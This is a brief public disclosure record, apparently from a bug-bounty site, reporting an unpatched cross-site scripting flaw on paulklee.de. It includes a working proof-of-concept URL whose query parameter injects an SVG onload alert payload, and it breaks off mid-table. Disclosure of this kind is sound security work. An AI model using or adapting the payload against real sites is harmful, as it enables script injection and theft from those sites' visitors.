paulklee.de XSS vulnerability

Vulnerable URL: http://paulklee.de/main.php?ct=quadriaerografati〈=it%22%3E%3Csvg%2Fonload%3Dalert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...